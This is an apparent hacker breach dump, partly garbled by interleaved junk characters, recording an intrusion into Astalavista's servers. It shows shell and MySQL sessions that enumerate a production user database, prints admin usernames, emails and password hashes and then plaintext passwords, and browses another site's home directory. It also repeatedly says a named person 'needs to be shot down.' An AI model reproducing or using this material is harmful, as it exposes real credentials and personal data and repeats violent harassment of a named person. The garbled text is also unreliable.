$ f7 x( h9 Y8 c& e0 n <docs>http://blogs.law.harvard.edu/tech/rss</docs>8 V) Y$ [9 y- l9 a y
<generator>Astalavista.com</generator>
2 z2 H% F' V; s+ W <webMaster>info@astalavista.com</webMaster>’ . $items . ‘
0 N( u6 }8 v; g2 p) u6 g </channel>
7 W5 @% L2 G4 h! `</rss>’;
4 I: f- V0 J9 K4 n" }6 `* w9 A8 {# v7 ?1 x" I9 \
if (file_exists(FULLPATH . ‘/feed/exploits.xml’)) {; K2 w5 G* }( M- b! O
unlink (FULLPATH . ‘/feed/exploits.xml’);0 R" B& }- s T* m/ k: ~2 I0 J) f6 P
}
, O; I9 U6 [ v, o+ n+ g& J- m2 Z6 g
file_put_contents(FULLPATH . ‘/feed/exploits.xml’, $xml);
- Y9 z' E9 @+ H; n; c' p[snip]& R3 N! }; P; y/ Q
; e1 D4 V! B3 W9 U( D" qsh-3.2$ cat exploits.sh
+ A7 w+ O' ?6 O8 \#!/bin/sh
& X- |6 v1 R! g3 B1 A: T5 b
& H# |" P) W6 {! P: R###########################################################
* g6 [, |* D5 e* p2 w+ F9 X, b# #
I3 ?: v' g3 x- T# Title: milw0rm exploits adder ## ]% k: \" W% Q4 {! [
# Description: Add all milw0rm exploits to the #
9 }: X' L/ C1 x+ P8 q# Astalavista.com database #6 t, J0 P$ w0 `* A
# #6 ?/ _3 V. e$ S( Q
# Company: Astalavista Group #
! q$ A8 j* O- y% A1 r% d* }5 C! e& X# Author: Paulo M. Santos #- w/ U) B# o- t# C
# E-Mail: 链接标记paulo.santos@astalavista.ch #; A/ K% A+ I' B/ [1 N6 f9 Y& I
# #9 n$ [' c+ M6 x( @
###########################################################0 K( ^, y; H# E+ Y
" l" D$ L5 q( Z; g+ d3 D1 `! a# path
2 d* M4 g& x$ E5 jthis_path=/home/com/public_html/modifications/cronjobs
; |- O! j1 Z7 i2 W- h! h$ C4 H. I& G0 a F& W* {* j7 M2 t U
# change directory
/ I% Q0 o- O. Lcd $this_path
0 @! ^* @! v0 [1 X$ `cd tmp/
8 _% [2 ]* p2 _- z) N; k
' u" U; R' s1 s9 e" L2 d* F+ A5 X# delete files3 ~8 s( l. I) l6 k8 p! X
rm -rf milw0rm.tar.* &
+ W2 _& A# G" t( P# @2 Vrm -rf milw0rm/ & S* B$ N- C$ \# M' E
6 R8 f4 l" M$ Z' n) f
# wget milw0rm paket/ [* A! g5 e! L$ P
wget 链接标记[url]http://www.milw0rm.com/sploits/milw0rm.tar.bz2[/url], u' Y+ V, ]9 S6 m& s, U( j3 p2 p3 B3 T+ G
$ Q6 T4 z# V2 M4 Q! \
# extract milw0rm paket' e% Q! ?3 f# \7 a" z$ N3 @
tar -xvf milw0rm.tar.bz2, T8 h# C$ g; y
9 I7 _/ B% v+ M; D
# change owner" d$ I" b% ?4 O# R
chown -R com .
7 l' v, T% ?# n+ G1 ?chgrp -R com .
2 @4 N: L; K4 d: `( q/ Y( o) f4 z3 T& R& ~ ~
# execute php script; j# @0 L) F' l0 U+ M% j' n, l
cd $this_path9 ` s+ Z h$ x1 [/ H
php -q exploits.php
4 S1 C" h* _( `# Y% X) p- [: l# E+ i, s( Q
# delete files
+ c7 c% q( P; _; prm -rf tmp/milw0rm.tar.*
$ Y4 x1 N7 n$ N% f" s8 o3 i4 Vrm -rf tmp/milw0rm/
/ j9 `/ L7 l7 |" H, ?( I! Z
7 G+ a6 R# u& x, }& Qsh-3.2$ echo “Paulo M. Santos needs to be shot down.”
' H3 ~& [# g& `. ]4 APaulo M. Santos needs to be shot down.
5 }: {, A0 q2 ]- z1 V5 O9 M( U+ ^0 |
mysql -u contrexxuser2 -p
0 U. F2 {" @+ U* ?9 R9 V0 a8 aEnter password:
; Q/ ?% B" }! I" g' s; Z7 J, pWelcome to the MySQL monitor. Commands end with ; or \g.8 H: l0 h: o H& K" a
Your MySQL connection id is 261694 t3 |) c5 G, r. M, Y
Server version: 5.0.45-community-log MySQL Community Edition (GPL)- I! ]; S5 \, x8 q+ S# T' O# l
, O* G6 h ^7 V, _5 KType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.! r+ L' n# p- K( N4 c; n
8 `! x! y: V1 \0 t
mysql> show databases;, a; P& |/ ~- f' S
+——————–+
7 F8 m9 I' L, d6 @: o' a* x| Database |
& v" S8 `, Y" Z3 s1 _) ]6 C+——————–+
- m7 g) U5 V; Q| information_schema |" i9 Y# x4 A' L7 h2 [. p
| com_contrexx2 |4 m/ W2 a( Q2 B- T' z7 [. y
| com_contrexx2_live |
4 I/ @- z) Q$ T5 r| test |
* m. ~' y! ~$ G/ [# f; s+——————–+
: _" h8 x6 N; M4 rows in set (0.00 sec)
' e% B) A* c& x1 b' C, P, u
7 P& D9 C7 _! X) e: |; P9 Ymysql> use com_contrexx2_live
+ E& q- K/ G/ T& S" ]Database changed( o9 b+ D7 e) N. x, H- n
mysql> show tables;
/ x& z, J6 z5 E8 z# k( ?# S- s+————————————————–+0 R; V" B" b9 w8 E: v. ^. _
| Tables_in_com_contrexx2_live |0 e! T5 V: `- f# W+ n* g; W7 ]8 H
+————————————————–+1 M* w J$ s: n1 n
| cc_banner_counter |
# @9 E# ~$ k( H. v- C| cc_search_counter |
8 M) j* K& {( z/ K- X9 || contrexx_access_group_dynamic_ids |: T4 ?2 g5 c9 @& y) m! L! n
| contrexx_access_group_static_ids |+ g. u2 i7 I \: p2 V; r; i8 y$ Q
| contrexx_access_rel_user_group |
/ o! }) Q8 R) Q, E' @6 n, E| contrexx_access_settings |) I. H4 c$ H% O- F" }& x- t: F
| contrexx_access_user_attribute |
* x5 ~8 b/ q% d# t" {| contrexx_access_user_attribute_name |9 W8 d; p# O8 u. h9 o) M
| contrexx_access_user_attribute_value |
: P5 N3 ]! P; m| contrexx_access_user_core_attribute |( Q' X9 k0 a! ]4 r2 C
| contrexx_access_user_groups |
. O; m" T$ b% s( {% e. w| contrexx_access_user_mail |
) Z; |; o0 `7 {4 }8 y| contrexx_access_user_profile |
H; {# f, M. a" s$ U| contrexx_access_user_title |( y% f: C' U2 y, M$ {# [# ]0 r/ L
| contrexx_access_user_validity |# c5 b+ W5 I. H* Y3 a
| contrexx_access_users |
- K$ V# V% v8 u: n' p+ V| contrexx_backend_areas |
" J3 h2 }2 J" f5 s8 h/ r| contrexx_backups |/ q' I1 T1 F$ G9 @4 F
| contrexx_content |" A6 i/ i0 |) d3 h8 y7 B$ n5 @$ Z
| contrexx_content_history |0 `/ X2 R6 }# P6 I: r
| contrexx_content_logfile |
& m W U; U/ }$ h" w1 }: Z| contrexx_content_navigation |
7 C5 H2 s( t: s( S( C| contrexx_content_navigation_history |
# A! C* _- |' {, {$ k| contrexx_ids |# T4 F* ~+ R+ H. R
| contrexx_languages |" B1 x& B; u) p& p) }/ l; d" F
| contrexx_lib_country |! V+ p$ t6 j' S' |8 H" t' S
| contrexx_log |
9 v, d# Z0 M2 @+ d; i: Y| contrexx_module_alias_source |
5 }* y; K5 P/ K+ D4 `4 ]: F| contrexx_module_alias_target |
+ c/ n3 o: a+ h5 ~" B! o| contrexx_module_block_blocks |
) B9 y& ]2 v; ~: @/ n" e% H( w| contrexx_module_block_rel_lang |
5 V* R- @2 ^6 `3 \* O# Y| contrexx_module_block_rel_pages |
* z# F5 f3 `8 W5 t: M# Z| contrexx_module_block_settings |; J9 w3 e6 T+ z# _, @
| contrexx_module_blog_categories |: k: e; U7 M \% P2 U/ i
| contrexx_module_blog_comments |: @% w, \3 Q( g, W: v Q: o
| contrexx_module_blog_message_to_category | f* H% [+ T' Z9 {; ? Q+ T
| contrexx_module_blog_messages |( ?) h# \7 V- [( t/ o0 H8 S8 T; `
| contrexx_module_blog_messages_lang |
5 }0 Z. D) a2 t. I) n" O' D1 e/ n| contrexx_module_blog_networks |
; N4 r0 Y. }$ X| contrexx_module_blog_networks_lang |
f* Q4 B: j) y1 u& Q" [2 s| contrexx_module_blog_settings |; K* ~3 _& z* S" p& O9 B, `. _
| contrexx_module_blog_votes |: K( R7 i4 ^9 E
| contrexx_module_calendar |( n+ `, q2 V" _& }4 i c! ^9 r+ y7 G
| contrexx_module_calendar_access |7 r3 w" A/ ^1 Z( Z
| contrexx_module_calendar_categories |9 W4 ?4 U: T' R4 {
| contrexx_module_calendar_form_data |
6 h6 ~) N( N; A- A4 p, h4 V| contrexx_module_calendar_form_fields |
U. C, V( C o4 l| contrexx_module_calendar_registrations |
/ w+ p" i) O# D O/ O. Q5 ^| contrexx_module_calendar_settings |' u1 P& L/ Z" j: r: l
| contrexx_module_calendar_style |
/ o( q; q6 ]+ Q- A1 T" R| contrexx_module_contact_form |4 F6 b# B7 P0 P% d
| contrexx_module_contact_form_data |
; t# x6 g9 L+ o7 R' r' w. K| contrexx_module_contact_form_field |1 J. w. E3 I% }
| contrexx_module_contact_settings |
, `/ H4 h0 {5 g+ z8 C6 ]# I+ D: q| contrexx_module_data_categories |
9 O# P6 Y1 ]5 i# Z2 O| contrexx_module_data_message_to_category |
/ Z, _, D5 t. e; q" ]| contrexx_module_data_messages |
4 P# i. F! o# ?) \0 l( t. ~| contrexx_module_data_messages_lang |
d" h/ \: F. A3 [5 G) N| contrexx_module_data_placeholders |
6 ]! H: C, L! U+ K1 G8 u: j" k| contrexx_module_data_settings |
) f, J8 i) {4 b% C9 c| contrexx_module_directory_access |2 x: s2 j# u1 J8 P7 {
| contrexx_module_directory_categories |9 H2 E" {6 v* ?, z/ G
| contrexx_module_directory_dir |/ O$ r$ q3 }. N7 p, j
| contrexx_module_directory_inputfields |/ j! A4 z0 z/ Z- Z; F: J6 F
| contrexx_module_directory_levels |7 |! P1 I$ u/ r
| contrexx_module_directory_mail |( A( c$ B" N% N3 c) G
| contrexx_module_directory_rel_dir_cat | x, r3 G+ s$ b! n$ i3 l
| contrexx_module_directory_rel_dir_level |# z0 I8 g" O- T- V
| contrexx_module_directory_settings |7 J: J: R1 e3 C: [
| contrexx_module_directory_settings_google |
+ y! @, |4 i' ^. @! i2 h| contrexx_module_directory_vote |: f8 t! ]+ n- Z8 K, D
| contrexx_module_docsys |
6 ^8 e* `6 M0 o/ R. f1 q' x3 e| contrexx_module_docsys_categories |
3 o$ X5 V6 M2 Y5 `1 k% y5 S( @| contrexx_module_egov_configuration |
3 F% G- {% f7 |7 v| contrexx_module_egov_orders |7 O! ]5 [$ }3 W" I1 W0 m- V
| contrexx_module_egov_product_calendar |( W; X6 ~$ Q. r* ^5 E
| contrexx_module_egov_product_fields |
3 U( P4 Y0 W( D; B3 K. t# V| contrexx_module_egov_products |, R4 H4 A1 d, c9 w6 F( y
| contrexx_module_egov_settings |& W* }0 W6 _$ K# |# _6 R, J$ C
| contrexx_module_exploits |
6 ] `* A: n$ @2 L& x| contrexx_module_exploits_categories |; |' z; W4 q' W
| contrexx_module_feed_category |
6 o- @% Y- G2 j5 O/ _# O| contrexx_module_feed_news |
+ d: A2 a. ^& h% |8 ]% L: j. S& u| contrexx_module_feed_newsml_association |
$ r( e Y6 O( m1 t! `) q7 l| contrexx_module_feed_newsml_categories |
& ~5 b& |1 O7 A| contrexx_module_feed_newsml_documents |
" q/ b6 D/ C3 l! _| contrexx_module_feed_newsml_providers |
5 E H' T! e4 i% Q+ ?: F" H| contrexx_module_forum_access |% J7 q- M& U, L: a: b% x
| contrexx_module_forum_categories |0 k9 q2 k" [( y
| contrexx_module_forum_categories_lang |% o0 N% G& q1 y) Z8 @5 Y
| contrexx_module_forum_notification |7 ?# Z' E- ^; G, y( E
| contrexx_module_forum_postings |
9 }2 ?3 [0 w# N| contrexx_module_forum_rating |
4 ?0 H: E8 i8 U/ Z| contrexx_module_forum_settings |4 g+ m* D; U& f9 E
| contrexx_module_forum_statistics |/ P1 M2 S, r6 q; Y1 [
| contrexx_module_gallery_categories |: {, |, g# e/ }$ c; C* O. W8 `
| contrexx_module_gallery_comments |, m+ o! }( o& G3 L1 A/ n0 I5 r
| contrexx_module_gallery_language |1 O ?3 }0 t" E( }
| contrexx_module_gallery_language_pics | R- d' x1 i+ U! l; X! K/ Z6 I
| contrexx_module_gallery_pictures |! t5 w- d9 m6 [0 C% t4 s: Z
| contrexx_module_gallery_settings |! C, G/ Z/ W6 t8 h$ z/ K1 z
| contrexx_module_gallery_votes |: W( o. D8 O7 U
| contrexx_module_guestbook |
6 d# J7 X8 o2 q! i3 x/ ?4 t1 j| contrexx_module_guestbook_settings |
# l9 T' T+ S) R- n| contrexx_module_livecam |
2 x& @. \; o' ?1 j3 ?| contrexx_module_livecam_settings |
) b/ o7 Z7 V1 h- D. h9 _" ]# k| contrexx_module_market |
+ ?7 e& D! g# L5 R| contrexx_module_market_access |
* Q: L. ]; y2 A1 N. x- O: O8 u4 l; L| contrexx_module_market_categories |/ u5 r; _) d6 K2 e
| contrexx_module_market_mail |
7 U1 M/ I4 s) p4 m, g; {) v| contrexx_module_market_paypal |
% n$ X9 E/ ]# J| contrexx_module_market_settings |3 Q3 |' J& w" `' V5 _' m- _
| contrexx_module_market_spez_fields |
. P: `. t; D! O, a d' L1 z| contrexx_module_mediadir_access |
3 V7 P4 t0 l- w% b: g9 N) D| contrexx_module_mediadir_categories |
) x& w9 d2 ^ U+ F| contrexx_module_mediadir_comments |9 X5 c3 b2 z' G% p4 V# |
| contrexx_module_mediadir_dir |3 m" L/ L! B. i2 w5 \4 _+ h3 J
| contrexx_module_mediadir_inputfields |
0 D. O5 ^4 r& l| contrexx_module_mediadir_levels |7 \' A9 Q" Z& c- f# X
| contrexx_module_mediadir_mail |
4 z7 N" ~: x2 _9 t$ i| contrexx_module_mediadir_rel_dir_cat |- h: F2 s/ P- n: x
| contrexx_module_mediadir_rel_dir_level |
* Z) q7 x0 v% A$ [( B| contrexx_module_mediadir_reports |
' \- e( _ w" t5 F* W. [| contrexx_module_mediadir_settings |
6 w( ?% z; N4 e' V1 t' L6 p# H+ l2 Z| contrexx_module_mediadir_settings_google |7 _3 A0 h: F( n; J+ f
| contrexx_module_mediadir_vote |
% ^- y8 M8 G* S3 P& X1 m2 f| contrexx_module_memberdir_directories |
+ `: o; s- M! u+ h( D7 n| contrexx_module_memberdir_name |
n( X% ~5 A& a8 U| contrexx_module_memberdir_settings |: d0 v, E4 F7 n' x9 \/ C
| contrexx_module_memberdir_values |
5 s( s( }, E$ {. u) f| contrexx_module_nettools_allowed_groups |/ x7 a) ^$ s! d! T3 ~1 M
| contrexx_module_nettools_settings |1 \) e4 q1 N2 C- \3 s+ `9 R
| contrexx_module_news |
% w! W- Z7 B3 h; ?2 S4 t0 v| contrexx_module_news_access | a j' `4 \) L+ t+ E3 S
| contrexx_module_news_categories |+ q+ {% }# [# t
| contrexx_module_news_settings |
: r& ~2 [' j& K0 d" O6 s| contrexx_module_news_teaser_frame |; f; X4 L; T m4 m* c
| contrexx_module_news_teaser_frame_templates |
; p; p3 j/ \2 v x+ [| contrexx_module_news_ticker | u1 E3 X0 _4 ]0 M8 m( O, D2 o Y1 Q
| contrexx_module_newsletter |
, ?* ] M2 g' a5 Q# P1 A| contrexx_module_newsletter_attachment |
; Q0 I9 {" H( m| contrexx_module_newsletter_category |) W% [1 U5 M6 n$ P' o
| contrexx_module_newsletter_confirm_mail |
( z' m( E" C$ f V/ c E$ r| contrexx_module_newsletter_rel_cat_news |1 [5 K: p( n: R4 R7 t/ Y; C
| contrexx_module_newsletter_rel_user_cat |9 ]# |$ O8 H1 B3 h- k) S- b
| contrexx_module_newsletter_settings |
0 a1 e7 b' s' A9 u* t" \| contrexx_module_newsletter_template |
4 \: z; [: Z/ ^# Y e| contrexx_module_newsletter_tmp_sending |0 F. O1 c9 T' h
| contrexx_module_newsletter_user |5 r5 a/ L4 H- b1 p; n) N- x
| contrexx_module_newsletter_user_title |! i$ R4 M L* M% E, r
| contrexx_module_onlinetools_defaultports |
/ Y q* E+ {6 Q4 X: M2 j7 j/ u+ d| contrexx_module_onlinetools_defaultports_back |/ J4 M4 o/ [ u
| contrexx_module_onlinetools_geolitecity_blocks |
* r6 _6 F0 J: p* Z; r& l4 Y| contrexx_module_onlinetools_geolitecity_country |' L7 c/ ~3 F; t2 a# F
| contrexx_module_onlinetools_geolitecity_location |
/ T1 {1 U+ y! Y6 Z& _| contrexx_module_podcast_category |
?6 ~# R" s, w# O! O| contrexx_module_podcast_medium |
1 o3 Z9 s; L; n0 X8 Q8 b5 Z3 V| contrexx_module_podcast_rel_category_lang |
: Q& t) c j/ w1 h7 u( G; `| contrexx_module_podcast_rel_medium_category |
2 h- a: C9 k$ I# i| contrexx_module_podcast_settings |' X2 m; [" y4 H8 q8 W
| contrexx_module_podcast_template |, `& C( f2 y8 \! ]* j& P
| contrexx_module_proxydb |
( f$ m) Z1 [) {! A| contrexx_module_recommend |
) @0 p! \' m0 {. m' i# U. K| contrexx_module_repository |9 U# w: S9 I1 Z: R# e8 o, ^
| contrexx_module_securitynews_cats |
! C5 e% O% F) i1 a& s% R7 M# `| contrexx_module_securitynews_feeds |
. M" h* ~" X2 a6 F! j3 A| contrexx_module_securitynews_news |
! D0 {6 X" i) p( |+ _4 J; v N| contrexx_module_shop_categories |
( X: {9 l/ Q) ^; y0 N% i3 e| contrexx_module_shop_config |1 c( W: a3 z6 [/ [& i! }/ ^
| contrexx_module_shop_countries |, E0 E3 M. w2 Q7 y. q8 a' k
| contrexx_module_shop_currencies |
* j# L) d' O P* W3 k( T. y| contrexx_module_shop_customers |
3 s! F8 ]& c4 a( m% w% b4 c! l8 R% X) o {| contrexx_module_shop_importimg |
& i, x; k- M5 M! ~2 ?| contrexx_module_shop_lsv |
% |$ c8 x9 q: K7 f E/ Y) a| contrexx_module_shop_mail |
) j; ~7 R" Y& x, I8 L| contrexx_module_shop_mail_content |
2 @) v4 Y2 w. F' ]. m; d| contrexx_module_shop_manufacturer |
% y) U) f/ @$ f5 t4 _9 d( Z| contrexx_module_shop_order_items |, Y% v7 H3 N" o* M Q
| contrexx_module_shop_order_items_attributes |
" {! l$ ^1 e: N; i6 M4 I| contrexx_module_shop_orders |1 h |0 |3 b- j1 x* [7 u3 T
| contrexx_module_shop_payment |
$ S% [- k7 o1 ?| contrexx_module_shop_payment_processors | t6 u6 j. g' [4 s9 K
| contrexx_module_shop_pricelists |
& m* E J2 T6 @& l3 W| contrexx_module_shop_products |5 M: A/ [ _* L% F% g! G) I+ h* E/ R
| contrexx_module_shop_products_attributes |+ S7 \% {0 D, f! b; Q
| contrexx_module_shop_products_attributes_name |4 u+ h4 ?8 a- L
| contrexx_module_shop_products_attributes_value |
8 F3 v# J8 X! h5 g7 H| contrexx_module_shop_products_downloads |
2 Z+ F& }3 Y' I8 B| contrexx_module_shop_rel_countries |. e- L# {! s' V8 z
| contrexx_module_shop_rel_payment |8 v$ \ {. K* `8 t1 M7 m, d: w
| contrexx_module_shop_rel_shipment |
! s: `3 O- R5 G7 a4 l+ K$ [| contrexx_module_shop_shipment_cost |+ ?) Y: @$ Y* X7 B
| contrexx_module_shop_shipper |
( g6 v; j+ O; j/ g- v8 N/ p* i| contrexx_module_shop_vat |$ n2 ~2 ?$ Z3 q9 M: ~$ k2 o9 o
| contrexx_module_shop_zones |# h7 L+ I5 r" `3 P1 S
| contrexx_module_u2u_address_list |( J! W. A9 x( @. G+ A
| contrexx_module_u2u_message_log |7 _; B g U4 l1 t& ^
| contrexx_module_u2u_sent_messages |# J0 F; G7 g9 V
| contrexx_module_u2u_settings |+ o6 n% M% n9 J
| contrexx_module_u2u_user_log |
" g0 i( }. k: p9 n; d1 G| contrexx_modules |
, j; D- ?: a- }* r| contrexx_sessions |
0 _2 w: Y' p7 N. l| contrexx_settings |
7 v0 r+ }* M8 X7 H0 W# f| contrexx_settings_smtp |
& O! N# m, S4 ?) z| contrexx_skins |
. X' o& O A+ p" p. l4 w, z| contrexx_stats_browser |
, D4 g, U6 U2 f' _8 n5 q| contrexx_stats_colourdepth |
( h& L: k4 _5 K$ o! c8 f1 A; B- r| contrexx_stats_config |
: t$ R% V# G- ~6 R| contrexx_stats_country |
' C) T# E0 F( ~. Y. _9 p| contrexx_stats_hostname |
% }1 p- K' n( k0 Y. o& g| contrexx_stats_javascript |6 t, z/ w, G2 q8 f, o3 y8 l: j
| contrexx_stats_operatingsystem |
2 j+ q+ J, z3 {+ ~' b- |% v1 ]8 @3 t| contrexx_stats_referer |
( \0 l3 T3 E5 V| contrexx_stats_requests |
) d$ Y: j/ j% M$ u# l6 v, F| contrexx_stats_requests_summary |
) [' H3 R% k: E4 a" f/ j! _# {% g| contrexx_stats_screenresolution |- o2 C$ h$ B. K0 h( n H, F7 D
| contrexx_stats_search |% A8 c; @5 @$ z6 o5 |
| contrexx_stats_spiders |
, ~8 t' M# i5 m5 C" L2 w| contrexx_stats_spiders_summary |7 o) `* z& N t5 Q2 {$ e
| contrexx_stats_visitors |
! ?4 M4 k: O; j| contrexx_stats_visitors_summary |
$ B% x, k4 ]; ]3 `& L| contrexx_voting_additionaldata |
, K2 _0 G4 c1 s: Y| contrexx_voting_email |
: `) c; r1 }* I9 t# e6 l| contrexx_voting_rel_email_system |
% f" |5 f4 [1 b9 t| contrexx_voting_results |
2 q& ]9 e; t0 d4 h| contrexx_voting_system |) o1 X2 X2 c# z0 `
| foo |4 _( }/ C/ @1 S& a" R& S! R
+————————————————–+
) g! j' b) Y! q6 |7 B% B" S, S227 rows in set (0.01 sec)
+ d8 [. S" R. `3 U3 J6 v6 J2 Z' O" ~/ }( ?" d) B b8 T0 p
mysql> select count(*) as skids from contrexx_access_users;
5 J, A6 b9 Z, X0 Q6 u* j+——-+" r7 }! v7 B9 D( A; o+ z7 b
| skids |
1 n3 ^) i& o* x( n8 {- v! G# z+——-+ R7 [" F5 E5 U
| 53699 |
- P& t2 g: e- D# G7 b+ A8 U+——-+
. H5 Y8 B6 P1 M" n; T7 _1 row in set (0.00 sec)' V$ w' R" R1 C; g
: D+ `' |; q2 ~8 m# i, |1 V/ k8 u
mysql> describe contrexx_access_users; [9 D6 e" X% a4 H3 c
+——————+——————————————+——+—–+————–+—————-+
) [: c+ E& k p/ ]/ A| Field | Type | Null | Key | Default | Extra |
' S I8 E) o$ b7 I: B/ m& R! r1 P+——————+——————————————+——+—–+————–+—————-+
, L5 n, @0 c; l) j/ U$ d| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
* h, g$ Q- n4 T1 Z8 g| is_admin | tinyint(1) unsigned | NO | | 0 | |
/ k) l1 `' i+ |- ~" a$ p0 K- y| username | varchar(40) | YES | MUL | NULL | |, Z, \4 ^# O5 t4 g! x# P/ C
| password | varchar(32) | YES | | NULL | |
& f6 d8 M! r3 y3 T- s' T| regdate | int(14) unsigned | NO | | 0 | |* I2 o' d) H5 u) f+ V& M p
| expiration | int(14) unsigned | NO | | 0 | |' m2 [/ z ]2 R$ _
| validity | int(10) unsigned | NO | | 0 | |/ r0 c1 t% T, z( g
| last_auth | int(14) unsigned | NO | | 0 | |
! h0 u+ R8 \; `/ v. ?" l| last_activity | int(14) unsigned | NO | | 0 | |. [6 |8 g# I5 b' `
| email | varchar(255) | YES | | NULL | |" y% y7 a9 y2 \" N3 @
| email_access | enum(’everyone’,'members_only’,'nobody’) | NO | | nobody | |
5 `/ g C) z( h! {- e) U: E6 U0 [| frontend_lang_id | int(2) unsigned | NO | | 0 | |6 S# `. S% E% H
| backend_lang_id | int(2) unsigned | NO | | 0 | |0 e B* Z; E, p2 D5 E6 j
| active | tinyint(1) | NO | | 0 | |
) x) S* j! d( E) V0 `| profile_access | enum(’everyone’,'members_only’,'nobody’) | NO | | members_only | |
, B$ D8 P, |, e* U( [| restore_key | varchar(32) | NO | | | |
5 h/ }" [' B6 f% \| restore_key_time | int(14) unsigned | NO | | 0 | |+ y& T9 {/ z. _" I! G
| u2u_active | enum(’0′,’1′) | NO | | 1 | |) s' C x6 E9 U; N$ }( e
+——————+——————————————+——+—–+————–+—————-+
2 }5 c/ |0 @: @/ v* B! ~9 ` ~ p18 rows in set (0.00 sec)
' f" D- H& f3 g
# N( j) r1 o* y* w6 A) P4 Y3 Z4 wmysql> select username,password,email from contrexx_access_users where is_admin = 1;/ r$ H! b- }7 [: n. p& T' E3 @
+————+———————————-+—————————–+
* o! X9 f5 J+ y* U, f| username | password | email |/ G# u: A. S) h% O! i! l
+————+———————————-+—————————–+
3 R* d6 w$ T- k3 J; T| system | 0defe9e458e745625fffbc215d7801c5 | 链接标记info@comvation.com |
9 |. X( n' b# d0 F; g; v| prozac | 1f65f06d9758599e9ad27cf9707f92b5 | 链接标记prozac@astalavista.com |
) p T9 j/ t& ~. y$ }. o| Be1er0ph0r | 78d164dc7f57cc142f07b1b4629b958a | 链接标记paulo.santos@astalavista.ch |
6 ] @% w q) `0 X- J| schmid | 0defe9e458e745625fffbc215d7801c5 | 链接标记ivan.schmid@comvation.com |
6 V# D' U1 R) y8 }- L1 K0 e2 E+————+———————————-+—————————–+
9 M* T- d' M2 p! _' [" n4 rows in set (0.04 sec)
$ C6 Y1 M; Q! w$ H* ~! e$ N8 S$ P+ q' P, [% [
mysql> exit;
1 ~+ { d: {* {- p+ |Bye+ q1 h F8 M- {; j. z' n- ?/ i
/ G' x. V! l i# e, w$ u: N7 J S
[~] There you go, your “team of security and IT professionals” is a joke.
! ]9 z- h& m" s% g. P) E5 T7 r2 W5 p# y& u
+——————————+
" t* p) b5 I5 T& x3 Ysystem:f82BN3+_*
: o6 u% e+ b! G; ?: Q! bBe1er0ph0r:belerophor4astacom
( `8 n% u6 X2 o0 b2 V8 `prozac:asta4cms!% {* `0 z0 p' |9 f8 o; W
commander:mpbdaagf6m
# Y1 ] A; U& C( [$ k- dsykadul:ak29eral5 r2 m% z8 L; u! G: W
+——————————+
! Z( d# k* y' m; g1 s! t$ y8 Q+ V( K- S8 K4 p0 u2 @1 k
[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s)- D0 N( G$ s1 Y; M
…and the others, find another area to get paid from, security isn’t for sale and you obviously fail at it.7 ~$ d& ], S: T4 c2 h m
6 j7 ^6 G$ G0 M( p0 I$ P1 ]! _[~] Lets move to astalavista.net now,4 p9 Q9 Q7 D, g+ D
5 M% Q9 n ?- X" |From <链接标记[url]https://www.astalavista.net/[/url]>:: b3 g6 I8 H* R) N6 l! ^. X) i4 f( ~
>> Everyone knows that the best defense is a good offense.
$ m8 i; P+ `/ n& ~& l# W4 O>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.
% O6 y% I2 L3 n' w! i: _>> The ASTALAVISTA hacking & security community is the largest IT security community in the world.( D' A1 t# a ^- ?# _2 H$ o
>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking.”
: v; X" S! {1 u x/ o4 y7 x5 a. u. m" M
>> Go ahead, try and hack our server . in a completely legal way!2 A; V' S$ G( b, M; d1 o
>> Learn by doing: We offer our members tricky tasks and challenges on an
, [: Y$ p% C g" U* j6 ^- ~: |. [5 y$ ^>> ongoing basis so you can test your knowledge and abilities. You can also
% u# m3 Q% K6 T>> demonstrate what you.ve mastered by taking part in regular hacker contests% B- b" r- o: x; W3 i
>> and war games
. m: K( e) }$ `+ A$ I- ~- \- z$ U, A! j
9 A+ {9 l4 G5 q/ F7 d' }[~] Lets take a look there, after all… they are hack-proof, aren’t they?!
1 X" T& z" m, m. c$ J/ E1 `: p$ b" J+ h3 {
[-] Tricky task: Find home dir of astalavista.net
# p" A2 ]- @( J. {. c9 N+ a( W8 c8 G% c, S+ |
sh-3.2$ ls -la ~astanet
: {/ d- S2 a% j' ctotal 482 ~7 O6 A" l, w. v* T
drwx–x–x 6 astanet astanet 4096 Dec 23 15:55 .
& P- I% X' C( q l! Jdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..3 L; _, s, L0 B0 v
drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth( z8 ~* c# a4 _# b9 k+ F
-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
9 Y1 t7 ~! ~3 Y0 q9 |) I" n. l) c6 c-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout
! `2 v$ R2 Y2 J-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile | G" K8 Y3 p0 P
-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc
) z+ n" c% J+ C" L& f; [drwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains
6 i# g6 R2 U& F5 P; j0 l8 udrwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap% g% D0 R! x" n- m @! n8 P6 `' Z
drwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
, Y1 G# o- O2 @' s( Z; `lrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html7 W2 P* ?/ ~2 L' k. U
-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow
/ B- I# r' _8 _! V' L
, S1 U2 e" \* i* m2 xsh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/
! \; H6 E& [; S) H% J4 ^sh-3.2$ ls -la
7 C1 u) S* Y+ e: I2 @' Gtotal 200
8 y& s5 @3 [6 S0 vdrwxr-x— 29 astanet apache 4096 Jan 6 13:58 .8 g; Q6 u6 r1 Y3 {) x0 K2 {1 o
drwx–x–x 8 astanet astanet 4096 Dec 23 13:53 ..* x- P' i( l+ `; V
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 _007( X3 T% z' W- x) g" g3 L- X& Y" S8 J
drwxr-xr-x 7 astanet astanet 4096 Jan 5 2006 _0mysql9 A) K0 F4 d: F3 }
drwxr-xr-x 7 astanet astanet 4096 Dec 22 14:16 链接标记astanet@astalavista.com- a' l2 t7 `" ]5 A
